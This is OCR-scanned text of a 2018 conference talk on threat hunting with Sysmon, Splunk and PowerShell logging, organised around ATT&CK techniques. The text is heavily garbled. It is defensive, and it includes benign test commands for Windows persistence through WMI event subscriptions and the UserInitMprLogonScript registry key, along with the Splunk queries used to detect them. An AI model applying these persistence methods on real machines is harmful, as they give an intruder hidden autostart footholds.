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C:> whoami /all

Tom Ueltschi

Swiss Post CERT / SOC / CSIRT since 2007 (over 11 years!)

Focus & Interests: Malware Analysis, Threat Intel, Threat Hunting,
/ Teaming

Member of many trust groups & infosec communities

FIRST SIG member (malware analysis, red teaming, CTI)

Twitter: @c_APT _ure
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BotConf Speaker history

2013 - My Name is Hunter,
2014 - 2.0 — The Sequel
2015 - LT: Creating your own CTI (in 3 minutes.. or 5 ©)

2016 - Advanced Incident Detection and Threat Hunting using
Sysmon (and Splunk)

2017 - LT: Sysmon FTW! ©

2018 - Hunting and detecting APTs using Sysmon and PowerShell
logging
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Outline (remember, it’s a shert30min fast 40min talk)

Introduction

3 techniques from MITRE ATT&CK

Windows Management
Instrumentation Event
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Technique
|0]
Tactic
Platform Windows
Permissions Administrator,
Required SYSTEM

Data Source: WHI Objects

Logon Scripts

Technique
ID T1037
Tactic Lateral Movement,
Persistence
Platform macOs, Windows
y Write acce
Requirements domain log
Data Sources File monitoring
manitaring
CAPECID AP G4 7

PowerShell
Technique
1D T1086
Tactic Execution
Platform Windows
Permissions User, Administrator
Required

Data Windows Registry, File monitoring
Sources Fro command-line parameters,
Frocess monitoring

Supports
Remote
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Motivation — why yet another talk?

Positive feedback is always nice and encouraging ©

11 Milas Constantin and 4

11 Ankur Tyagi aet

4 4 athers Ret John Lambert @JohnLaTwC - 20 Jun 2017 v
ﬁ Mark Russinovich @ @markrussinovich - 3 Dec 2016 i ga f y?u do log analysis, follow @e_APT_ure and check out his FIRST presentation
= Awesome Sysmon presentation from @c_APT ure: T

P mU @c APT_ure

TomU @c_APT _ure TomU @c_APT_ui
- _ o Ren

Replying to @c_APT_ure @markrussinovich @Ilbrahim -

_ plying to @c_APT_ure @FIR5TdotOrg
— e L LELE b = -

my @Botconf slides are available here: My slides from #FFIRSTCOMNZ2017 talk are now online @FIRSTdotCrg

security-research.dyndns.org/pub/slides/Bot... security-research.dyndns.org/pub/slides/FIR...
#Botconf
11 Kurtis Armour 2

ATT&CK @MITREattack - 15 Jun 2017
ATTECK | Great information on threat hunting. As @¢c_APT_ure said, we welcome
contributions to ATT&CK! Email us: attack@mitre.org

) TomU @c_APT _ure
Frank Denis @jedizct] - 1 - 2016 v .

eplving to @c APT ure @FIRSTdotOro
eplying to @c_APT_ure @FIRSTdotOrg

"Advanced IR with Sysmon and Splunk” -- The megamighty @c_APT_ure is now
on stage #botconf My slides from #FIRSTCOM2017 talk are now online @FIR5TdotOrg

security-research.dyndns.org/pub/slides/FIR...
Q Tl 1 v, ]

Q 1 1 15 ) 28 1

BotConf 2018 | Tom Ueltschi | Hunting and Detecting APTs using Sysmon and PowerShell Logging | TLP-WHITE



Motivation — why yet another talk?

Positive feedback is always nice and encouraging ©

Splunk -... youtu.be/y

Advanced Incident Detection and Threat Hunting u...

y @e_APT_ure

MHaggis/sysmon-dfir
sysmon-dfir - Sources, con
evil things utilizing Microsoft Sysmon.
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Motivation TaoSecurity & https/taosecurity blogspot.com
the real one

Richard Bejtlich’s blog on digital security, strategic thought, and military history.

Defender's Dilemma vs Intruder's Dilemma

This is a follow-up to my post Response for Daily Dave. I realized I had a similar exchange three years ago, summarized in my post
Response to Daily Dave Thread. Since I don't seem to be making much progress in this debate, I decided to render it in two slides.

First, I think everyone is familiar with the Defender's Dilemma.

Defender’s Dilemma Intruder’s Dilemma

The intruder only needs to exploit one of . - AN o The defender only needs to detect one of
the victims in order to compromise the R . . the indicators of the intruder’s presence in
enterprise. o | wWe order to initiate incident response within
» the enterprise.
La

) Intruder
Defender

&) OSSEC

Host security monitoring

Network

Live response and

forensic analysis
Monitoring

Network security Enterprise log monitoring

monitoring

Copyright TaoSecurity LLC and Richard Bejtiich Copyright TaoSecurity LLC and Richard Bejtlich
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Richard Bejtlich’s blog on digital security, strategic thought, and military history.
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Network security Enterprise log monitoring

s monitorin : . . -
Copyright TaoSecurity LLC and Richard Bejtlich 9 Copyright TaoSecurity LLC and Richard Bejtlich
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Google

Motivation -- the real one

23 YouTube attackcon

» > o 1:0039/237:49

verizon’'| ¥

VCAF: Expanding the ATT&CK Framework
to Cover VERIS Threat Action Varieties

s

FiLT:

Alex Pinto — Security Data Scientist — Verizon - @alexcpsec
Gabe Bassett — Security Data Scientist — Verizon -

- @odbassett
@ e O

WK

“Through adversary

simulation we have
“Assume compromise! determined that there

Everybody is Owned all are control deficiencies
the time! Buy my on your detection of
products!!” Persistence techniques
on MacOS and those
should be remediated.”

MITRE ATT&CKcon - Day 1, 1:30 p.m. — 5:30 p.m
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Motivation -- the real one

MITRE

ATT&CK
CON

THE MITRE ATT&CK CONFERENCE

66 Learn more about MITRE's work In  Der [hreat mielloance and
the ATTACK framework,
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Motivation -- the real one

Advancing Indeéc

speedlng InfoSec Iearnnng

*

John Lambert, @JohnLaTwC =

Florian Roth

What is Sigma
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SIGMA... say what?

3 YouTube

Psst! Check out this project

*Sigma — SIEM agnostic use cases!! WOW!!!
*https://github.com/Neo023x0/sigma

Mick Douglas Commonly Overlooked Logs
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SIGMA... say what?

= Misp () -
.. @M SPProject )

Sigma becomes the de facto standard for
expressing SIEM queries. The tools to import
Sigma into MISP events is improving how
people can share Sigma rules and in
combination with @chrisred 68 MISP module

which exports the rules in any format
seamlessly.

Thomas Patzke @blubbfiction

Mew tool in Sigma toelchain: Sigma2MISP

mport Sigma rules from files into a @MI5PProject event.
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Are you ready for a change?

Preparing Your Environment for Investigations

Logs (and retention) are your friend = 1) enable 2) centralize 3) LOOK/MONITOR

Process Auditing AND Command Line Process Auditing 2> 4688 FTW!
* https://technet.microsoft.com/en-us/library/dn535776.aspx

* Sysinternals’ Sysmon is also a solid option

Real-time Process Monitoring
* Uproot IDS - https://github.com/Invoke-IR/Uproot

PowerShell Module, ScriptBlock, and Transcription logging
* https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-team/
e https://www.fireeye.com/blog/threat-research/2016/02/greater visibilityt.html
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https://www.blackhat.com/docs/us-17/thursday/us-17-Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And Evasion-Using-Science.pdf

Are you ready for a change?

2 YouTube

INnstrumentation - Endpoints
« AV/HIDS alerts

« Comprehensive logging:
A ON
— Applications
— Powershell
— Persistence Mechanisms (Example: Autoruns)

- Process Auditing (Example: Sysmon) SecuriTy

Doug Burks @dougburks Soli itiong

Doug Burks - Tactical Acceleration

BotConf 2018 | Tom Ueltschi | Hunting and Detecting APTs using Sysmon and PowerShell Logging | TLP-WHITE



Our setup Sysmon ['Splunk Deployment

-

~25’000 hosts

~ ~_ WindowsHost | \
150G B/ da Y y N ,f Splunk 1‘““3
-!. Sysmon ) ( )
-~ J,,. Fo rwa rd er_
Event logs —
Sysmon
Powershell
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ATT&CK is the new {APT,Cyber,Al,ML,blockchain,etc}

ANOMALI

Red Canary @redcanaryco - 2d v
What is required to t r threat hunting program to the highest level of
M ITR E, S ATT&C K F RAM EWOR K maturity? Join @bbaskin, @smith8680, @ForensiclTGuy, & @subTee for the final

webinar of our Threat Hunting “ series on Thursday, October 18th

at 1pm ET. Register here: hubs.ly/HOf7vDGO

3-PART WEBINAR SERIES red [N canory - Carbon Black.

THREAT HUNTING WITH ATT&CK™

JON OLTSIK, TRAVIS FARRAL

Senior Principal Analyst and Director of Security
ESG Fellow at ESG Global Strategy at Anomali

3 PART THREE Becoming a Leader: An Inside Look at
Octoberds | LOOPMET - 3 Level 4 Threat Hunting Program
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Technigue Description
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Mitigation

Bypass

Requires Permission

Requires System e

Linux

Callection

“Hi+ableau

Audio Capture

An adversary can leverage a
computer's peripheral devices
(e.g.. microphones and webcams)
or applications {e.g., voice and v..

Detection of this technigue
may be difficult due to the
various APls that may be
used. Telemetry data regardi..

Mitigating this technique
specifically may be difficult as
it requires fine-grained AP
control. Efforts should be foc..

Mull

MNull

Automated
Collection

Once established within a
system or network, an adversary
may use automated technigues

for collecting internal data

Depending on the method
used, actions could include
common file system

Encryption and off-system
storage of sensitive
information may be one way
to mitigate colle n of files..

Permissions to
access directories
and files that
store informatio.

Clipboard Data

Adversaries may collect data st..

commands and parameters o..
Access to the clipbeardisal..

Instead of blocking softwara..

MNull

Data from
Information
Repositories

Adversaries may leverage
information repositories ta mine
valuable information.
nfarmation repositories are
tools that allow for storage of i..

As information repositories
generally have a considerably
large user base, detection of
malicious use can be
non-trivial. At minimum, acc..

To mitigat
to information repositories
for collection:

ersary access

* Develop and publish policie..

Data fram Lacal
System

Sensitive data can be collected
from local system sources, such
as the file system or databases
of information residing on the s..

Maoniter processes and
command-line arguments for
actions that could be taken to
collect files from a system. R..

|dentify unnecassary system

utilities or potentially
malicicus software that may
d to collect data from ..

Privileges to
access certain
files and
directories

Data from Matwork
Shared Drive

Sensitive data can be collected
from remote systems via shared
network drives (host shared
directary, network file server, e..

Monitor processes and
command-line arguments for
actions that could be taken to
collect files from a network s_.

unnecessary system
utilities or potentially

malicicus software that may

be used to collect data from ..

Privileges to
access network
shared drive

Data from
Removable Madia

Sensitive data can be collected
m any removakble media
| disk driwve, USE memaory,
onnected to the comprom..

Maonitor processes and
command-line arguments for
actions that could be taken to
collect files from asystem's ..

Iden unnecessary system
utilities or potentially
malicicus software that may
beused to collect data from ..
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Data Staged

Collected data is stagad ina
central location or directory prior
to [[Exfiltration]]. Data may be

kont in canarata filac ar Famhin
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reading files from disparate
lecations and writing them to
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unnecessary system
utilities or potentially
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Data Source
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Widinwdre reverse enyineeriny
MER

Named Pipes

Netflo
Network device logs

Enclave netflow

ork intrusion detection system

Network protocol analysis
Packst capture
PowerShell logs

Process command-line parameters

Process monitoring
Process use of network
Sensor health and status
Serv
SSL/TLS inspection

Ces

stem calls
Third-party application logs
User interface
VBR
Veb application firewall logs
blegs
b proxy
ndows Error Reporting
ndows event logs
ndows Registry
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Post-Exploit Threat Modeling with ATT&CK
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https://www.youtube.com/watch?v=P0F_BIgUh9U

Comenand-Line

Execution through API

Assess Current ™

s

% Identify Critical [
Coverage -y Gaps -y

Address Gaps

» Q
o A & a o 0
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https://www.youtube.com/watch?v=io4vCTBLa78

2 YouTube

Heatmap

ATT&CK Like an Adversary for
Defense Hardening
Steve Motis & Christlan Kopacs!

CON
verge

n n."
l -

Converge 2018 107 ATT&CK Like an Adversary for Defense Hardening Steve Motts Christian Kopacsi
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https://www.youtube.com/watch?v=jsFO8HDPLFw

ATT&CKcon 2018

@Cyb3rWardOg

e Adversary Detection Analyst @SpecterOps
e Author:
> ThreatHunter-Playbook
Hunting ELK (HELK)
ATTACK-Python-Client
OSSEM (Open Source Security Event
Metadata)
e Former:

Hunters ATT&CKing A Y S ———

With The Right Data

@Cyb3rPandaH

e Cyber Security Student @NOVAcommcollege
e Author:
Tableau-ATTCK
e Contributor:
ThreatHunter-Playbook, HELK, OSSEM
e Former:

UNACEM:- Peru, Senior Business Intelligence Analyst
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ATT&CK Data Sources & Event Logs .

Process Creation 4688

Windows
Registry

created

Security

Process

Monitoring

Process
Command-Line
Parameters

accessed
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Data Sources & Event Logs

Sysmon

PowerShell ScriptBlock Logging
PowerShell Transcript Logging

- SIGMA rule available
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OBSERVATIONS FROM THE FRONT LINES OF THREAT HUNTING

APPENDIX

» CROWDSTRIKE FALCON OVERWATCH INTRUSIONS MAPPED TO MITRE ATT&CK FRAMEWORK (H12018)
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from Tools
Indicator Remowal on Host
Indirect and Execution
Install Root Certificate

. CROWDSTRIKE

OBSERVATIONS
FROM THE FRONT LINES
OF THREAT HUNTING

A 2018 Mid-Year Review From Falcon OverWatch

Rundll32

Scripting

Signed Binary Proxy

Signed Script Proxy E t

SIP and Trust Provider Hijacking
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Outline

Introduction

15t of 3 techniques from MITRE ATT&CK

Windows Management
Instrumentation Event
Subscription

Technique
|0] T1084
Tactic Fersistence
Platform Windows
Permissions Administrator,
Required SYSTEM

Data Sources WHI Objects
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WMI Event Subscription (Persistence)

cC 0

ATT&CK.

Main page
Help
Confribute
References
Using the AP
Contact us
Terms of Use

Tactics
nitial Access
Execution
Persiztence
Privilege Escalation
Defense Evasion
Credential Access
Discovery
Lateral Movement
Collection
Exfiltration
Command and
Control

Technigues
Technigue Matrix

8 https://attack.mitre.org
Page Discussion Read View form View history

Last 5 Pages Viewed:

Windows Management Instrumentation Event Subscription

Windows Management Instrumentation (\WMI) can be used to install event filters, providers, .

o ] ) Windows Management
consumers, and bindings that execute code when a defined event occurs. Adversaries may Instrumentation Event
use the capabilities of WiMI to subscribe to an event and execute arbitrary code when that Subscription
event occurs, providing persistence on a system. Adversaries may attempt to evade detection Technigue
of this technigue by compiling Wil scripts.:'] Examples of events that may be subscribed to 0 T1084
are the wall clock time or the computer's L|ptime.[3: Several threat groups have reportedly
used this technigue to maintain persistence !

Tactic Perzistence
Platform Windows

Permissions Administrator,

Contents [hide]
) Required SYSTEM

1 B le
¥amples Data Sources WMI Objects
2 Mitigation

3 Detection

4 References EEH— Illpl'es

Examples o« APTZ29 has used WMI event filters to establish persisience 4]

« APT29 has used WMI event filters to establish persistence
e Leviathan has used WMI for persistence []

« POSHSPY uses a WMI event subscription to establish persistence.[®!
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WMI Event Subscription ¥ ANDIANT

A FireEye* Company

MAINTAIN PERSISTENCE THERE’S SOMETHING ABOUT WMI

WMI Persistence requires three components
An event filter — the condition we're waiting for

_EventFilter objects have a name and a “trigger”

An event consumer — the persistence payload

_EventConsumer objects have a name and one of the following:
A script (contained in objects.data)
A path to an external script (somewhere on disk)
A path to an executable (not a script, also on disk)
Pre-Vista ran as SYSTEM
Post-Vista run as LOCAL SERVICE
A binding that associates a filter to a consumer

_FilterToConsumerBinding objects reference an event filter and an event consumer

RAN DIANT

A FireEye* Company

Source:
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https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf

WMI Event Subscription <OFireEye

William Ballenthin, Matt Graeber,
William Ballenthin, Matt Graeber, Claudiu Teodorescu Claudiu Teodorescu
FireEye Labs Advanced Reverse Engineering (FLARE) Tea FireEye Labs Advanced Reverse
FireEye, Inc. Engineering (FLARE) Team,
Firekye, Inc.

Malicious WMI Persistence Example The event filter in the example in Figure
The PowerShell code in Figure 5is 5 is designed to trigger between 200 and
a modified instance of the WM| 32[:] SE‘FOPdS after system startup. Upon
persistence code present in the triggering the event the event consumer
SEADADDY® malware family®*, executes an executable that had been

. \ g
The event filter was taken from the _plgr}:e.ﬁ:uslv dé@ﬁpped. _ . ,
PowerSploit persistence module and € fiter and consumer are registere

. : . e and bound together by specifying
's designed to trigger shortly after both the filter and consumer within
system startup. The event consumer

. : a __FilterToConsumerBinding
simply executes an executable with instapce
Py instance.

SYSTEM privileges.

Source:
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https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf

WMI Event Subscription <OFireEye

Flgureﬁ
"BotFilterB82’
="BotConsumerZ3’
=F|F."..". .I |-|-|_,|. _p..'-..;'._t : -.: .".-'-i-l. .‘:E'.
="SELECT * FROM __InstanceModificationkvent . B T
WITHIN 60 WHERE TargetInstance ISA ‘Win32_ \{\/||||am Ballenthin, Matt Graeber,
Claudiu Teodorescu
FireEye Labs Advanced Reverse
Engineering (FLARE) Team,
Firekye, Inc.

PerfFormattedData_Perf0S_System”™ AND
TargetInstance.SystemUpTime >= 200 AND
TargetInstance.SystemUpTime < 3207
=5et-Wmilnstance-Class__
oot\subscription™-Arguments
;EventNameSpace="root\
"sQuerylLanguage="WQAL"”;Query=
-Ewrcr&:tionﬁtap
=5et-Wmilnstance-
ClassCommandLineEventConsumer-Namespace™rooth
subscription”-Arguments@= ;ExecutablePa

th= :CommandLineTemplate= |

t-Wmilnstance-Class__FilterToConsumerBinding
mespace’ raatazubzcr13t:aﬁ"-&rngent5
Filter= ;Consumer=

Se
r =
@{

Source:
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https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf

WMI Event Subscription

Generating test events using “PowerLurk” Github project

Likely won’t catch many APTs searching for
Register-MaliciousWmiEvent ;-)

:\PowerShell\PowerLurk-master\PowerLurk-master> Set-ExecutionPolicy Bypass
:\PowerShell\PowerLurk-master\PowerLurk-master> . .\PowerLurk.psl

PS C:\PowerShell\PowerLurk-master\PowerLurk-master> Register-MaliciousWmiEvent
-EventName LogNotepad -PermanentCommand "cmd.exe /¢ echo %ProcessId% >>

C:\\Users\\Public\\notepad-log.txt" -Trigger ProcessStart -ProcessName notepad.exe

PS C:\PowerShell\PowerLurk-master\PowerLurk-master> Register-MaliciousWmiEvent
-EventName Logonlog -PermanentCommand "cmd.exe /c echo %TargetInstance.Antecedent%
>> C:\Users\Public\logon.txt" -Trigger UserLogon -Username any
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How noisy is the Sysmon WmiEvent?

> 90 days

> 270 EP’s

< 600 events
4 diff types

sourcetype="WinEventLog:Microsoft-Windows-5Sysmon/Operational”

(WmiFilterEvent WmiConsumerEvent WmiBindingEvent)
(EventCode=19 EventCode=20 EventCode=21)

=x field=Message ".*EventType: (7<WmiEventType>.=*)"

WmiEvent

dc(Mame) dc(Query) dc(EventMNamespace) dc{Consumer) dc(Filter) dc(ComputerName

count TaskCategory EventCode WmiEventType

EventCode

# 1,764 events (6/1/18 12:00:00.000 AM to 10/18M8 12:00:00.000 AM) No Event Sampling ~

AU

100 Per Page ~ # Format

#
)

EventCode
TaskCategory

WmiEventFilter activity detected

{rule: WmiEvent)

)

WmiEventConsumer activity detected

(rule: WmiEvent?

WmiEventConsumerToFilter

detected (rule: WmiEwvent)

Events Patterns Statistics (3) Visualization

& # # #
& # & &

dc(Name) de(Query) dec(EventNamespace) dc(Consumer)

WmiEventType

wWmiFilterEvent

WmiConsumerEver

#
#

dc(Filter)
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#
#

de(ComputerName)

B
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sourcetype="WinEventLog:Microsoft-Windows-Sysmon/Operational"” WmiEvent

| search EventCode=139 EventCode=20 EventCode=21
field=Message ".#User: [ |NT AUTHORITY )\M\AN(Z<USERT>. )"
_time EventCode TaskCategory Message ComputerName USERT

Sysmon

wentCode

TaskCategory Message

WmiEventConsumerToFilter WmiEventConsumerToFilter actiy

activity detected : WmiBindingEvent UtcTime: 261

Wm1E i Created User: Consumer:
"CommandLineEventConsumer.Name=\"Logonlog\"" Filter:

" __EventFilter.Name=\"Logonlogh""

WmiEventFilter activity detected: E : WmiFilterEvent

UtcTime: 2818-@7-83 09:25:25.339 Operation: Created User:
EventNamespace: "root/cimv2" Name: "Logonlog"

Query: "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE

TargetInstance ISA 'Win32_LoggedOnUser'"

ventConsumer WmiEventConsumer activity detected: EventType: WmiConsumerEvent
UtcTime: 2818 @9:25:25.316 Operation: Created User:
"Logonlog" Type: Command Line Destination:
"emd.exe fc echo %TargetInstance.Antecedent¥® >>

C:\\Users\\Public\\logon. txt"
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sourcetype="WinEventLog:Microsoft-Windows-Sysmon/Operational"” WmiEvent

5 ' EventCode=20 EventCode=21
field=Message ".#User: [ |NT AUTHORITY )\M\AN(Z<USERT>. )"
gble _time EventCode TaskCategory Message ComputerMame USER1

ventCode
TaskCategory Message

WmiEventConsumerToFilter WmiEventConsumerToFilter

activity detected : WmiBindingEvent UtcTime: 2818

Wm1Event ) Operation: Created User: Consumer:
"CommandLineEventConsumer.Name=\"LogNotepad\"" Filter:

__EventFilter.Name=\"LogNotepadi""

WmiEventFilter activity d

WmiFilterEvent UtcTime: 2018-87-83 09:25:39.91@8 Operation:

= 11

Created User: EventNamespace: "root/cimv2
Name: "LogNotepad" Query: "SELECT * FROM
Win32_ProcessStartTrace WHERE ProcessMame='notepad.exe'"

entConsumer WmiEventConsumer
WmiConsumerEvent
Operation:
Type: Command Line Destination: "cmd.exe /c echo

e Il

%ProcessId% >> C:\\\\Users\\\\Public‘\\\\notepad-log.txt
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Outline

Introduction

29 of 3 techniques from MITRE ATT&CK

Logon Scripts

Technique
D T1037
Tactic Lateral Movemeant,
Persistence
Platform macQ3, Windows
System Write acc
Requirements domain lo

Data Sources

CAPECID
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Logon Scripts (Persistence, Lateral Movement)

C Y & https//attackmitre.org

ATT&CK.

Page Discussion Read View form View history

Last 5 Pages Viewed:

Logon Scripts

Main page

Help Contents [hide] Logen Scripts
Confribute Windows Technique
References Mac D T1037

Using the AP .
Examples Tactic Lateral Movement,

Contact us )
Terms of Use Mitigation Persistence
Detection Platform macOs, Windows
Tactics .
; References System Write access to system or

Requirements domain logon scripts

nitial Access
Execution
Persistence Windows
Privilege Escalation

Defense Evasion windows allows logen scripts to be run whenever a specific user or group of users log into a system.['l | cAPEC ID CAPEC-564¢
Credential Access The scripts can be used to perform administrative functions, which may often execute other programs

Discovery or send information to an internal logging server.

Lateral Movement
Collection
Exfiltration allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central
Command and server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account
Control mav be necessary

Data Sources File monitoring,
Process monitoring

If adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can

chnigues
e LXAINPLES
Windows
Linux

macos » An APTZ28 loader Trojan adds the Regisiry key HKCU\Environment\UserInitMprlLogonScript

Groups
All Groups Examples

Software « An APT28 loader Trojan adds the Registry key HKCU\Environment\UserInitMprLogonscript to establish persistence Bl

All Software « JHUHUGIT has registered a Windows shell script under the Registry key HKCU\EnvironmeniiUserinitMprLogonScript to establish persistence.[4!
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APT group named “Cuddly Panda Bears” ©
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wiarw hexacorn.com

Beyond good ol Run key, Part 18

Movember 14, 2014 in Autostart (Persistence), Compromise Detection, Forensic /

If you hear legitimate & legacy in the same sentence then it is — most likely — not a good news.

The not-so-known persistence mechanisms that have a reason to be there are guite interesting, bec:

they are often obscure and long forgotten. And while left unknown to a general public they may be stil

neavily utilized for legitimate purposes even if just by a niche group of people.

Maybe that's why the mechanism | am going to describe survived such a long journey from Windows NT

to Windows 10 Preview. .

| am talking about Logon Scripts.

40
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www.hexacorn.com

Beyond good ol Run key, Part 18

November 14, 2014 in Autostart (Persistence), Compromise Deiection, Forensic Analysis

There is not much online about their intemals. The best | could find was this post: Adam

@Hexacorn Follows you

ROl-oriented DFIR/RCE&security research
Logon scripts (both GPO and user) are actually handled by USERINIT.EXE. I | recall correctly, the for fun. Follow my priv blog about
user logon script is handled by the same instance of USERINIT.EXE that starts the desktop :yﬂpat“:zﬁm e v
instance of EXPLORER _EXE (i.e. the one that would be spawned from ginalWkxActivateUserShell),
whereas the domain GPO scripts are executed by separate instances of USERINIT.EXE which are

reguested to be spawned by WINLOGON_EXE via ginalWlxStartApplication.

The easy way to screw up the execution of these login scripts (i.e. works fine with MSGINA s0 |
know the configuration is right, but with my replacement GINA installed they no longer run) would
pe to miss including the expected environment variables that WINLOGOM was trying to impart to
the spawned instances of USERINIT.EXE, since its via environment variables that the intention for
USERINIT.EXE to run a particular script is commuicated.

Logon scripts (both GPO and user) are actually handled by USERINIT.EXE.

starts the desktop | instance of EXFLORER.EXE
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www. hexacorn.com//k

Beyond good ol Run key, Part 18

November 14, 2014 in Autostart (Persistence), Compromise Deiection, Forensic Analysis

There is not much online about their intemals. The best | could find was this post: Adam

@Hexacorn Follows you

ROl-oriented DFIR/RCE&security research

Logon scripts (both GPO and user) are actually handled by USERINIT.EXE. If | recall correctly, the 15€ for fun. Follow my priv blog about
expat/travel @pickie_piggie + my wife's

user logon script is handled by the same instance of USERINIT.EXE that starts the desktop artjwriting blog @MariNomadie
instance of EXPLORER _EXE (i.e. the one that would be spawned from ginalWkxActivateUserShell),

whereaac tha dramain QPO ecringde ara avarntad hv conarata inetancac nf 1IRERIMIT EYE whicrh ara

reque There are 3 environment variables the mechanism relies on:

Thee © A pair of UserinitLogonServer & UserlnitLogonScript identifying where to run script from; first one

T— denfifies the server, the second location

nety  © UserlnitMprLogonScript ~ this one is a simple path to a script; there may be more than one; MPR
the ¢ stands for Multiple Provider Router

LUSEI Thatsit

Sefting up the HKEY CURRENT _USER\Environment vanables and dropping scripts in an appropriate
ocation is enough to pull this off.
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www.hexacorn.com/blog/2014/11

Beyond good ol Run key, Part 18

November 14, 2014 in Autostart (Persistence), Compromise Deiection, Forensic Analysis

There is not much online about the® *~*~mm~te The bact anold Sndne $hin naot Adam
To test the UserlnitMprLogonScript setting: @Hexacom  Follows you
ROl-oriented DFIR/RCE&security research
L':?gﬂlﬂ SCfiDtE ':bl:lth GPO and for fun. Follow my priv blog about
user logon script is handled b © Save ihe following file as ctestiserinitMprLogonScriptiog. bat expat/travel @pickie_piggie + my wie's

art/writing blog @M
instance of EXPFLORER EXE

whereaae tha damain 2RO e gecho off

There are 3 environme . ‘i, e,
reque @echo # 'UserInitMprlLogon5cript

@if exist c:\test\UserInitMprLogonScript.log @del c:\test\UserInitMprLogonScript

Thee © A pair of UserlnitLe

i @echo UserInitMprLogonScript executed !> c:hZtest\UserInitMprLogonScript.log
denfifies the serve
KNow P
: @pause

¢ UserlinitMprLogon!

stands for Multiple i . .
the 5| | o Add the following Registry Entry

LUSEI Thatsit

e 1o

Windows Registry Editor Version 5.88
Sefting up the HKEY

ocation is enough to p .
[HKEY_CURRENT_USERM\Environment]

"UserInitMprLogonScript"="c:\\test\\UserInitMprLogonScript.bat"
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STRONTIUM: A profils
persistent and motiva
adversary

vare Protection Cente
p’=3|-3:.'1"-.-'5|}' monitors the threat landscape for ~"’.er:1|r1 thr
involves keeping tabs on targeted attack groups, which are
to introduce new exploits and technigues t
attackers. One such group -.';I“|::-'. Microsoft has code-nam
particular interest because —* %~~~ =
and its repeated use of ne Aduersar}r profile

STRONTIUM has b activ

ir" the nope tl"-&f: t will rais untargetec ’*',.:-;|-_'\';_'-j re i: ultima
1Zations tak

reduce th

hat are later use

B T I A o

of the infon

e Immec

significantly

sensitive information. Its pom
" bodies, diplomatic institution:
states and certain E:

irnalists, political :

member
included jou
activism in
following its
;ﬂ:-u::; oth

e .tr | Asia. STRO

T R

Nal pracuce

-
? and Fanc

=r researchers ha
s Bear as |at

HKEY_CURRENT_USER,
Software\Microsoft\Windows\CurrentVersion\Explorer\ < path

BALLUSERSPROFILE%:\m=d
H%PROGRAMDATA% \msd

File (Windows XF)
File {other Windows)

run every 'irre the :::'rl‘rl ter starts by
shortcuts, which
and which

Techni ques for the

STRONTIUM ensures that its b
creating autostart extensibility point (ASE
differ depending on what the attacker h

backdoor variant is used Advanced Malwa

ackdoorw

} registry entries an
CJCI :' tlﬂl_'."-'“-I-H-\I

(See

Professional” or .pq:k 96 of Microsoft Security Intelligen s_f'-:. Volume 11

available from the Microsoft Dow P|3|..'1€J

ols to monitor ASEPs for signs

infection.) The most comm :u“.“:: s used by STRONTIUM fu::" its malware

the follow

£ .
Uanuary—=iune 2011

guidance on using Sysinternals t

include

HEEY | OCAL MACHINE\Software\Microsoft\ Windows\CurrentVersion\Fun,

HKEY L CHINE\Software\Microsoft\ Wi
ExploreryShell Folders),
AL MACHINE\Software\Microsoft\ Wi

IC
“\ShellSery ce-C'::_'sth.‘-e aylLoad\

ndows\CurrentVersion\,

OCAL MA

ndows\CurrentVersiony,
L {RENT_USER\Software\Microzoft\ Windows\CurrentVersion',
Shell Foldersh,

< bafch file=

FY_CURREMT_USERY

ALLUSERSPROF
Quick Launch,

nvironment\USerinitMpriogonsScnpt

Application Data\Microsoft\Internet Explorer’,
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ldea for detection

Search for child processes of “userinit.exe”
Exclude “ ” (normal)
Exclude logon scripts (after baselining & vetting)

Possibly a small number of other legitimate executables, but
feasible to enumerate and filter out

Search for ProcessCreate or RegistryEvents with the registry key
name “UserInitMprLogonScript”
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"

sourcetype="WinEventLog:Microsoft-Windows-Sysmon/0p

ProcessCreate userinlt.exe RegistryEvent UserInitMprLogonScript
age="#\\userinit.exe" Image!="*\\explorer.exe"

CommandLine!="*\\netlogon\\netlogon.

serInitMprLogonScript
values(CommandLine) dc(Computer

Parentlmage = Image values{CommandLine)
:WWindo »WWindo 3 ADD HECUAEnvIronment UserInitMprLogonscript /t REG_S5Z /d
i hUsersh YDesktophUserInitMprlogonScript. txt"
UAEnvironment UserInitMprLogonscript
UsEnvironmentiUserInitMprLogonscript

huserinit.exe

\notepad.

Desktop\UserInitMpriLogonScript. txt

m32\NOTEPAD.EXE"

1Eeskaﬂ1u3erinif”ﬂrLc;cnicriﬂf_ncfeﬂs
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C:\Usersh »powershell -c "New-ItemProperty -Path \"HKCU:\Environment\" -MName \"UserInitMprlLogonScript\”
-PropertyType \"String\"” -Value ‘\"notepad.exe C:\Users\ \Desktop\UserInitMprLogonScript.t:

UserInitMprLogonScript : notepad.exe C:\Users) \Desktopi\UserInitMprLogonSc

PSPath : Microsoft.PowerShell.Core\Re t“”' HKEY LURREHT_U:ERHEHulruHmEHt
PSParentPath : Microsoft.PowerShell.Core\Re :HKEY CURRENT_USER

PSChildName : Environment

PSDrive : HKCU

PSProvider : Microsoft.PowerShell.Core\Registr

gi
gi

(L] v

ILine: powershell -c "Mew-ItemProperty -Path \"HKCU:\Environment\" -Mame \"UserInitMprLogonScript\" -PropertyType \"Stringh\" -Value %

\Desktop\UserInitMprLo sn“-'lr‘ txty" "
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Start time:

Username:

RunAs User

Configuration Mame:

Machine: (Microsoft Windows NT 18.08.17134.8)

Host Application: powershell -c New-ItemProperty -Path "HKCU:\Environment" -Mame "UserInitMprLogonScript" -PropertyType "String" -value
_—

"notepad.exe C:\Users\ \Desktop\UserInitMprLogonScript. txt

P5Version: 17134. 487
PSEdition: Desktop
PSCompatibleVersions:
BuildVersion: 18.8.17134. 487
CLRVersion: 4.8.38319.420068
WSManStackVersion: 3.@
PSRemotingProtocolVersion: 2.

SerializationVersion:

PS>New-ItemProperty -Path "HKCU:\Environment" -Name "UserInitMprLogonScript" -PropertyType "String" -Value "notepad.exe

C:\Usersh \Desktop\UserInitMprLogonScript.txt"

